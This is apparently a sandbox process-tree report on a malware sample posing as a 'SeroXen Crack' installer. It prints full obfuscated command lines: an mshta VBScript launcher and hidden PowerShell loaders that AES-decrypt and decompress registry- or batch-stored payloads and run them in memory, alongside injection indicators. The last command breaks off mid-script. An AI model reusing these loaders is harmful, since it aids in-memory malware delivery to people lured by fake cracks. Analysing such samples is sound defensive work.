C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4592 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2620
-
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d4567572-ef20-4d8e-b00c-c51de6448c43}5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4440
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2152).WaitForExit();[System.Threading.Thread]::Sleep(5000); function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))5⤵
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:564
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{02c9d2db-46db-42a6-b373-53bdad8a470b}5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3052
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{cdd6d06d-3c05-44e5-864f-6ce901eecfba}5⤵
- System Location Discovery: System Language Discovery
PID:3532
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{85d153dd-1b3a-4f72-a63e-bfdf09c1cbf6}5⤵PID:5428
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5428 -s 3686⤵
- Program crash
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
PID:3996
-
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{09194a8e-757b-4c0e-9f42-e7e3c15af4b2}5⤵PID:5820
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{8eb6d308-7e82-43f3-8495-bd27cce33a37}5⤵
- System Location Discovery: System Language Discovery
PID:4636
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{8eb9addc-02e0-4a99-bb0a-25b6291b238a}5⤵
- System Location Discovery: System Language Discovery
PID:3724
-
-
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{d51fc1f8-0aac-40f6-bb67-75363b6b6d34}5⤵
- System Location Discovery: System Language Discovery
PID:5916
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1224
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1276
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1352
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2560
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1364
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1384
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1532
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1552
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1564
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1656
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1696
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1704
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1792
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1812
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1916
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2000
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2008
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1476
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2144
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2228
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2364
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2572
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2624
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2632
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2772
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2792
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2808
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2860
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2908
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2940
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3096
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3440
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
PID:3520 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1164
-
-
C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat.exe"SeroXen-install.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SeroXen Crack\SeroXen-install.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; 